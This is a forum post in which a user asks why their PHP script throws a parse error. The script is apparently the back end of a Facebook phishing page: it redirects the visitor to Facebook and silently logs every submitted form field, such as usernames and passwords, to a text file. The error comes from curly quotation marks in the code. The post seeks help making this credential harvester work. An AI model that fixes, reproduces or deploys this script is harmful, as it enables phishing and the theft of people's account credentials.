parse error problem
Hey guys, I have made changes already to fix other parse errors but this one is puzzling me.
The error message reads:
"Parse error: syntax error, unexpected '=' in /home/a3076461/public_html/login.php on line 6"
The script is as follows:
<?php
header("Location: http://www.facebook.com/appcenter");
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>
Thanks again!
|